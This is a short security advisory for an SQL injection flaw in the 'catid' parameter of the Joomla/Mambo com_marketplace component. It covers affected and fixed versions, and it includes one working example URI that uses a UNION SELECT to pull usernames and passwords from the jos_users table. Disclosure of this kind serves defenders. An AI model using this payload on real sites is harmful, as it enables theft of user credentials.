Joomla! and Mambo com_marketplace Component 'catid' Parameter SQL Injection Vulnerability

Bugtraq ID:	27600
Class:	Input Validation Error
CVE:	CVE-2008-0689
Remote:	Yes
Local:	No
Published:	Feb 04 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	SoSo H H is credited with the discovery of this vulnerability.
Vulnerable:	Joomla com_marketplace Component 1.2.1 Joomla com_marketplace Component 1.1.1
Not Vulnerable:	Joomla com_marketplace Component 1.3.1

Joomla! and Mambo com_marketplace Component 'catid' Parameter SQL Injection Vulnerability

The Joomla! and Mambo 'com_marketplace' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! and Mambo com_marketplace Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_marketplace&page=show_category&catid=-1+union+select+concat(username,0x3a,password),2,3+from+jos_users/*

Joomla! and Mambo com_marketplace Component 'catid' Parameter SQL Injection Vulnerability

Solution:
Reports indicate that this issue has been fixed in com_marketplace 1.3.1. Please see the references for more information.

Joomla! and Mambo com_marketplace Component 'catid' Parameter SQL Injection Vulnerability

References:

• Mambo Homepage (Mambo)